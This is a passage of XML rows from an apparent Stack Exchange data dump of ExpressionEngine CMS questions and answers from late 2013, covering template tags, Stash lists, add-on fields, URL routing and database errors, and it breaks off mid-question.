  <row Id="17958" PostTypeId="2" ParentId="17956" CreationDate="2013-12-27T09:32:10.753" Score="1" Body="&lt;p&gt;you'll have to fetch / process them from tagdata yourself.&lt;br&gt;&#xA;$this-&gt;EE-&gt;TMPL-&gt;var_pair will have an array of var-pairs you can walk.&lt;br&gt;&#xA;Then compare / preg_match() them on the keys/tags you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see by looking at an example in a small calendar class i made:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/GDmac/calendar_entries/blob/master/system/expressionengine/third_party/calendar_entries/pi.calendar_entries.php#L52-L68&quot; rel=&quot;nofollow&quot;&gt;Calender_entries (github, highlighted)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-12-27T09:38:09.963" LastActivityDate="2013-12-27T09:38:09.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17959" PostTypeId="2" ParentId="17953" CreationDate="2013-12-27T16:34:41.927" Score="0" Body="&lt;p&gt;My best guess is that &lt;strong&gt;Can change the author name when posting channel entries&lt;/strong&gt; is set to &lt;strong&gt;No&lt;/strong&gt;, and the author of the entry you're editing (or their member group - there are settings for both levels of granularity) is not set to &lt;strong&gt;Include Members in PUBLISH page multi-author list&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you got to save the entry, the &lt;strong&gt;Author&lt;/strong&gt; menu defaults to another member (since the original author is not present in the menu), and you get the error because you're not allowed to change the author.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-27T16:34:41.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17960" PostTypeId="1" CreationDate="2013-12-27T18:49:17.813" Score="2" ViewCount="54" Body="&lt;p&gt;I need to create an attendance list.  I will be adding a over a 100 members to my expression engine installation and I want to be able to track their attendance to my events.  I as an admin want to be able to check off which members attend today (so and so event).  How can I accomplish that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to be able to go back and look at a grid and see every member and what days they attended.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2543" LastActivityDate="2013-12-28T15:40:09.553" Title="Attendance List" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17961" PostTypeId="1" CreationDate="2013-12-27T20:27:57.653" Score="0" ViewCount="386" Body="&lt;p&gt;&lt;em&gt;A similar question has been asked &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/694/computing-word-image-video-and-audio-file-counts-in-a-scalable-way&quot;&gt;here&lt;/a&gt; which ended in the recommendation to create a custom plugin. That's not possible for me.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how many words my entries actually have; in the frontend I want to add to the meta-data &quot;this article has 132 words&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to count the words and use this number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-12-28T15:56:47.440" Title="Count number of words in article" Tags="|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17962" PostTypeId="1" AcceptedAnswerId="18528" CreationDate="2013-12-27T20:45:03.177" Score="0" ViewCount="89" Body="&lt;p&gt;I am having a Matrix fieldtype with two cells: text and Playa. The text field serves as the title for different rows. It's setup like this in my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_field}&#xA;    &amp;lt;div class=&quot;products&quot;&amp;gt;&#xA;&#xA;        &amp;lt;h2&amp;gt;{cell_1}&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;noGrid&quot;&amp;gt;&#xA;            {cell_2}{stash:embed name=&quot;snippets:productdiv&quot; process=&quot;start&quot;}{/cell_2}&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/my_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would now conditionally show or hide {cell_1} based on the results of cell_2. If for example all entries are set to closed I want the cell_1 to not display anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the syntax from this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13236/how-can-i-check-if-a-playa-field-is-empty&quot;&gt;post&lt;/a&gt;, but without any luck.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-01-20T08:54:13.340" Title="Matrix &lt; &gt; Playa check for empty cells" Tags="|matrix|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17963" PostTypeId="2" ParentId="4943" CreationDate="2013-12-27T20:48:12.300" Score="0" Body="&lt;p&gt;To avoid having problems with duplicate MySQL Errors,&#xA;add this after the parent categoty ID variable &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$parent_category = &quot;21&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$delete = ee()-&gt;db-&gt;query(&quot;delete FROM exp_category_posts WHERE cat_id IN($parent_category)&quot;);  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that will delete all the old relations to the parent category -_^&lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2013-12-27T20:48:12.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17964" PostTypeId="2" ParentId="17962" CreationDate="2013-12-28T04:19:33.917" Score="1" Body="&lt;p&gt;You could try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cell_2}&amp;lt;h1&amp;gt;{cell_1}&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This simple conditional checks for the presence of info in cell_2 and outputs the h1 if populated otherwise it will output nothing.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-12-28T04:19:33.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17966" PostTypeId="2" ParentId="14176" CreationDate="2013-12-28T15:08:55.217" Score="3" Body="&lt;p&gt;After some quick testing I'm pretty certain you can use the playa tag &quot;&lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/total_parents.html&quot; rel=&quot;nofollow&quot;&gt;total parents&lt;/a&gt;&quot; and pipe that in as an orderby parameter. The playa children tag, as stated in their &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/parents.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; &quot;{exp:playa:parents} supports almost all of {exp:channel:entries}’ &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;tag parameters&lt;/a&gt;&quot;, so it accepts orderby and sort parameters. So, the following should accomplish what your looking for: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:playa:children &#xA;    channel=&quot;your_channel&quot; &#xA;    entry_id=&quot;1&quot; &#xA;    field=&quot;your_field&quot; &#xA;    orderby=&quot;{exp:playa:total_parents}&quot;&#xA; }&#xA;      {exp:playa:total_parents} - {title}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested this using EE 2.6.1 and Playa 4.4.5. I included the &lt;code&gt;{exp:playa:total_parents)&lt;/code&gt; so that in testing you could see if it is actually sorting based on the number of total parents. Also, if you want to perhaps reverse the order you could add another parameter of &lt;code&gt;sort=&quot;asc&quot;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps and let me know if you run into any issues.&lt;/p&gt;&#xA;" OwnerUserId="2545" LastEditorUserId="2545" LastEditDate="2016-10-14T00:59:09.210" LastActivityDate="2016-10-14T00:59:09.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17967" PostTypeId="2" ParentId="17960" CreationDate="2013-12-28T15:40:09.553" Score="1" Body="&lt;p&gt;One practical way I can suggest is to use one of the add-ons that allows you to have members as entries (profile edit, safecracker registration, zoo visitor are the ones that come to mind).  Then it would be fairly straight forward for you to, at the event level, use a relationship field to indicate who was in attendance.  There's nothing that will display a grid showing the information the way you're seeking within the control panel out of the box, but creating a template that lists your events and within each event, uses the relationship field to display the attendees you recorded would be fairly straight forward. This of course assumes that you are entering your events as entries in EE as well.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-28T15:40:09.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17968" PostTypeId="2" ParentId="17961" CreationDate="2013-12-28T15:56:47.440" Score="1" Body="&lt;p&gt;Certainly on the front end, one of the options would be to simply use jquery to do that work for you.  &lt;a href=&quot;https://stackoverflow.com/questions/5024869/php-count-the-words-in-a-div&quot;&gt;A quick search revealed one method&lt;/a&gt; that would likely do the trick - you would surround the article body requiring a word count with a class of &quot;to_count&quot; and then use jquery with a bit of regex to detect and count the words within that class element.  This assumes that you're OK loading jquery on the page in which you need the count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could instead use an EE add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/md-character-count&quot; rel=&quot;nofollow noreferrer&quot;&gt;MD Character Count&lt;/a&gt; to give you a word count within the control panel and then you could add a custom field in which to record that value (but this may incorrectly assume that the content requiring a total is contained within a single field).&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-12-28T15:56:47.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17969" PostTypeId="1" AcceptedAnswerId="17979" CreationDate="2013-12-28T20:08:15.093" Score="1" ViewCount="251" Body="&lt;p&gt;I am using:&#xA;&lt;strong&gt;EE 2.7.2&lt;/strong&gt;,&#xA;&lt;strong&gt;Low Variables 2.4.0&lt;/strong&gt;,&#xA;&lt;strong&gt;WYGWAM 3.2.2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a WYGWAM field as a Low Variable, and within it, I am setting up some page links. When I create a link, under &quot;Link Type&quot; I chose &quot;Site Page&quot; and select the page on my site. However, when I output that variable on my homepage, the links are broken, and look like &lt;code&gt;href=&quot;{page_38}&quot;&lt;/code&gt;. For some reason the page url isn't getting parsed. This &quot;Site Page&quot; method works fine for links in my channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to get around this? For now, I just switched to specifying the URL manually, rather than selecting the site page. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gary&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="7185" LastEditDate="2017-04-06T15:22:51.993" LastActivityDate="2017-04-07T15:31:49.277" Title="Wygwam 'site page' link type not parsing when used within Low Variables variable" Tags="|wygwam|low-variables|pages|wysiwyg|parse|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17971" PostTypeId="1" AcceptedAnswerId="17972" CreationDate="2013-12-29T16:56:38.310" Score="0" ViewCount="24" Body="&lt;p&gt;Is this a feature or a bug? When I place my cursor somewhere in the new and empty commentform field, it does not appear at the beginning of that field, as expected, but at some lines under the top, and quite a few characters insert.&#xA;It is possible to replace the cursor at the beginning, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 'something' makes that the cursor does not start directly there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someone maybe that has a clue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks....! &lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2013-12-29T19:44:15.040" Title="cursor not at beginning of commentform field" Tags="|comment-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17972" PostTypeId="2" ParentId="17971" CreationDate="2013-12-29T19:44:15.040" Score="0" Body="&lt;p&gt;is this in EE backend, or one of your templates?&#xA;typically a comment field would be a text area tag - as such it has an opening and a closing tag. so in the html check to see if there is spaces, newlines, etc between the two and that is probably the culprit.&#xA;if not - CSS padding maybe? but not if you have space characters in there...&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-12-29T19:44:15.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17974" PostTypeId="1" CreationDate="2013-12-30T00:07:57.650" Score="0" ViewCount="202" Body="&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;xxxxx&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        category=&quot;{embed:category_id}&quot; &#xA;        channel=&quot;xxxxx&quot; &#xA;        disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; &#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;            {if '{exp:plugin:that_returns_some_boolean}' == 'true'}&#xA;                {stash:item}    &#xA;                    {exp:plugin:that_returns_some_value}&#xA;                {/stash:item}&#xA;            {/if}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;xxxxx&quot;}&#xA;    {if count == 1}&#xA;        &amp;lt;li&amp;gt;&#xA;        {exp:plugin:that_returns_some_string}:&amp;amp;nbsp;&#xA;    {/if}&#xA;&#xA;    {if item}&#xA;        {item}&#xA;        {if count != total_results}&#xA;            ,&#xA;        {/if}&#xA;    {/if}&#xA;&#xA;    {if count == total_results}&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The basic gist of this code block is to simply put some values in the Stash list based on some conditional. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the conditional that wraps &lt;code&gt;{stash:item}&lt;/code&gt; doesn't seem to be respected. &lt;code&gt;{stash:item}&lt;/code&gt; is always appended to the list. Because of that, I see all the items outputted by &lt;code&gt;{exp:stash:get_list}&lt;/code&gt; as if the conditional doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-12-30T10:46:21.010" Title="Stash - conditional doesn't work" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17975" PostTypeId="2" ParentId="17974" CreationDate="2013-12-30T00:44:01.293" Score="1" Body="&lt;p&gt;You could try adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list name=&quot;xxxxx&quot; parse_conditionals = &quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To your initial set_list tag. You may also be better off using switchee instead of if ... Try adding the above first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF switchee isnt working then maybe try &lt;a href=&quot;https://github.com/croxton/ifElse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt; (also by Croxton). The issue I believe is parse order and in particular the parsing of the plugin inside the if statement, hopefully ifelse will correct the parse order issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;xxxxx&quot; parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        category=&quot;{embed:category_id}&quot; &#xA;        channel=&quot;xxxxx&quot; &#xA;        disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; &#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;        {exp:ifelse parse=&quot;inward&quot;} //ifelse module&#xA;            {if '{exp:plugin:that_returns_some_boolean}' == 'true'}&#xA;                {stash:item}    &#xA;                    {exp:plugin:that_returns_some_value}&#xA;                {/stash:item}&#xA;            {/if}&#xA;         {/exp:ifelse}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-12-30T06:38:53.703" LastActivityDate="2013-12-30T06:38:53.703" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17976" PostTypeId="1" CreationDate="2013-12-30T02:51:41.523" Score="2" ViewCount="1220" Body="&lt;p&gt;I've scouring through StackExchange looking for an answer for the last few days with no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the suggestions that I've seen without any real detail or resources: &#xA;1.) Somehow use the index page of a template group to handle this. Once again, no direction given on how one would do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Use Template Router plugin on Devot:ee - Looks like it's primarily for blog functionality. I don't see any real clear documentation on how this plugin works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) Use Pages module - doesn't work. I've gone through all of the documentation. Can't get it to work, plus I am not fond of the idea of manually changing links. Would love to have template groups removed automatically without requiring my client to take extra steps to remove this URL segment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) Use Freeway extension - tried installing... doesn't appear in extension section once it's uploaded plus it has a bunch of tickets open for breaking other modules, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5.) .htaccess - haven't found anything that works except to remove the index.php file - plus my understanding is that .htaccess isn't necessarily the most reliable way of approaching this sort of issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, how in the world do you remove the template group from the URL structure... I've heard the arguments that it somehow makes for a better user experience to include this, but for me, it's not the case. I use very generic names for my template groups; e.g., content_page, general_page, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone, please tell me there's an easy way to work around this? &lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-01-01T21:29:54.070" Title="How do you remove template group from URL?" Tags="|ee2|templates|module|url|htaccess|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17977" PostTypeId="1" CreationDate="2013-12-30T05:28:53.530" Score="1" ViewCount="48" Body="&lt;p&gt;&lt;strong&gt;How can i show a note to users when the commenting period is expired&lt;br&gt;&#xA;(but commenting is not disabled)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, i allow 30 days for comments to be posted on an entry. &#xA;Instead of disabling comments after this period, i have set the comment module to hold new comments for moderation&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/control_panel/index.html#moderate-expired-comments&quot; rel=&quot;nofollow&quot;&gt;user guide - moderate-expired-comments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the front-end i would like to show a note that commenting has expired and that any new comments will be held for moderation. However, the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/#comments-expired&quot; rel=&quot;nofollow&quot;&gt;{if comments_expired}&lt;/a&gt; conditional won't work because, as the manual says, it is overriden by the moderate expired comments settings.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-12-30T05:28:53.530" Title="Show a note that comments will be held for moderation after comment expiration" Tags="|comments|moderation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17978" PostTypeId="2" ParentId="17976" CreationDate="2013-12-30T08:03:13.143" Score="0" Body="&lt;p&gt;This is one of those questions where there is no 'silver bullet' approach. The most flexible method is using the &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1675/stash-embeds-trying-to-be-dry/1749#1749&quot;&gt;partials or DRY&lt;/a&gt; approach but this is fairly in depth and prone to overuse or misuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to create a series of globals or snippets to markup the pages without the need for calling on structural templates, it requires re-creating the base template for every page but it's not that difficult. I;d use one of the modules that allows snippets to be edited as text files and in this example I'm referring to &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync-developer-license&quot; rel=&quot;nofollow noreferrer&quot;&gt;snippet sync&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SNIPPET based template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;{snip:css}&#xA;&amp;lt;body&amp;gt;&#xA;{snip:navigation}&#xA;  //Content lives in here&#xA;{snip:footer}&#xA;{snip:js}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then using the following template structure, you'd simply copy/paste that above into each template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  - about.group&#xA;      index.html&#xA;  - news.group&#xA;      index.html&#xA;      detail.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;About + News would render as mysite.com/about + mysite.com/news and mysite.com/news/detail/url_title_lives_here. YOu can use the default index.html file to do advanced URL testing and present different data dependant on but thats more advanced again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a broad question but this is the simple approach, it can quickly get complicated dependant on your data but this should start you on a path :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-12-30T08:03:13.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17979" PostTypeId="2" ParentId="17969" CreationDate="2013-12-30T08:04:41.867" Score="7" Body="&lt;p&gt;For any variable that needs extra processing, like the Wygwam variable type, use the &lt;strong&gt;tag syntax&lt;/strong&gt; rather than the variable syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;my_wygwam_var&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that having early parsing on or off is irrelevant for the tag syntax, so you can leave it off.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-30T08:04:41.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17980" PostTypeId="2" ParentId="17974" CreationDate="2013-12-30T10:46:21.010" Score="1" Body="&lt;p&gt;Try putting the conditional on the inside of the &lt;code&gt;{stash:item}&lt;/code&gt; pair. In addition, you may need to add &lt;code&gt;trim=&quot;yes&quot;&lt;/code&gt; to the &lt;code&gt;set_list&lt;/code&gt; parameters to ensure that the variable is not set to some whitespace when the condition doesn't apply. You'll also need &lt;code&gt;parse_conditionals=&quot;yes&quot;&lt;/code&gt; as mentioned already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help, double check exactly what your plugin is returning (is it the word 'true', or is it a boolean TRUE, or 1 or 0 or yes/no etc)&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-30T10:46:21.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17981" PostTypeId="2" ParentId="17976" CreationDate="2013-12-30T16:33:48.047" Score="2" Body="&lt;p&gt;If you wanted to use Template Routes, here's how you'd do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_routes'] = array(&#xA;  'about-us' =&amp;gt; 'template_group/about-us',&#xA;  'faq' =&amp;gt; 'template_group/faq',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make it so if you visit the &lt;code&gt;http://yoursite.com/about-us&lt;/code&gt; url, you'll get the &lt;code&gt;template_group/about-us&lt;/code&gt; template.&lt;/p&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditDate="2013-12-30T18:21:13.510" LastActivityDate="2013-12-30T18:21:13.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17982" PostTypeId="1" CreationDate="2013-12-30T17:41:29.857" Score="1" ViewCount="325" Body="&lt;p&gt;I have the following entry_submission_ready method in an extension to update a field's data. This works fine when saving an entry in the control panel, but it doesn't change the field value on the front end using Channel Form. The function is called, because I can output $data to the screen. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function entry_submission_ready($meta, $data, $autosave)&#xA;{&#xA;    $data['field_id_281'] = 'Test';&#xA;&#xA;    if(isset($this-&amp;gt;EE-&amp;gt;api_sc_channel_entries))&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;api_sc_channel_entries-&amp;gt;data = $data;                &#xA;    }&#xA;    else&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;data = $data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems $this-&gt;EE-&gt;api_channel_entries-&gt;data is empty on the front end, but is used in the control panel. So what would one use to save the data on the front end using Channel Form? &lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2014-01-06T08:07:09.963" LastActivityDate="2014-02-05T08:20:45.267" Title="$this-&gt;EE-&gt;api_channel_entries-&gt;data (via entry_submission_ready hook) not working on front end" Tags="|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17983" PostTypeId="2" ParentId="17982" CreationDate="2013-12-30T17:57:36.627" Score="2" Body="&lt;p&gt;I have got it to work using a second hook, channel_form_submit_entry_start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using channel_form_submit_entry_start I can manipulate the $_POST array directly, then this saves. Seems wrong I should manipulate $_POST, and also a shame I have to have a second method to do the same as the entry_submission_ready (difficult to combine as I am using different arrays), but at least this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function channel_form_submit_entry_start($obj)&#xA;{&#xA;    $_POST['field_id_281'] = 'Test';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-12-30T17:57:36.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17985" PostTypeId="2" ParentId="17794" CreationDate="2013-12-30T18:37:13.337" Score="2" Body="&lt;p&gt;I know it'd be hacking core, but wouldn't throwing a &lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt; attribute on the anchor negate the effectiveness of this?&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2013-12-30T18:37:13.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17986" PostTypeId="1" AcceptedAnswerId="17993" CreationDate="2013-12-30T18:39:20.053" Score="1" ViewCount="1178" Body="&lt;p&gt;All of a sudden I cannot log into my control panel.  Does anyone have any advice as to where I could start to get this repaired?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 145&#xA;&#xA;Table './db-name/exp_cartthrob_cart' is marked as crashed and should be repaired&#xA;&#xA;SELECT `cart` FROM (`exp_cartthrob_cart`) WHERE `id` = '3099' LIMIT 1&#xA;&#xA;Filename: third_party/cartthrob/models/cart_model.php&#xA;&#xA;Line Number: 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-06-02T05:54:14.750" Title="table is marked as crashed and should be repaired" Tags="|cartthrob|login|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17987" PostTypeId="1" CreationDate="2013-12-30T18:42:11.643" Score="1" ViewCount="301" Body="&lt;p&gt;I have a channel of Events, which has a videos field. Videos is a playa field which relates to a Videos channel. The Videos channel has a field which uses Channel Videos to display the video. I'm trying to use Stash to retrieve and display these videos from my Event using nested lists. However, I'm not quite sure of the syntax with more than one two dimensional lists. Here is the code I've used so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set the list --}&#xA;{exp:stash:set_list name=&quot;an_event&quot; parse_depth=&quot;2&quot; parse_tags=&quot;yes&quot; scope=&quot;site&quot;}&#xA;  {exp:channel:entries channel=&quot;events&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot; entry_id=&quot;155&quot;}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;&#xA;    {exp:stash:set_list:nested name=&quot;event_video&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot; scope=&quot;site&quot;}&#xA;      {event_video}&#xA;        {exp:channel_videos:videos entry_id=&quot;{entry_id}&quot;}&#xA;          {stash:video_id}{video:id}{/stash:video_id}&#xA;          {stash:video_title}{video:title}{/stash:video_title}&#xA;          {stash:video_thumb}{video:img_url}{/stash:video_thumb}&#xA;          {stash:video_embed}{video:embed_code}{/stash:video_embed}&#xA;        {/exp:channel_videos:videos}&#xA;      {/event_video}&#xA;    {/exp:stash:set_list:nested}&#xA;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- get the list --}&#xA;{exp:stash:get_list name=&quot;an_event&quot; scope=&quot;site&quot;}&#xA;&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {exp:stash:get_list:nested name=&quot;event_video&quot; context=&quot;{entry_id}&quot; scope=&quot;site&quot;}&#xA;    &amp;lt;img src=&quot;{video_thumb}&quot; /&amp;gt;&#xA;  {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a simple test, I'm just trying to output the thumbnail for the video, but I'm not seeing anything. Any ideas on what I'm 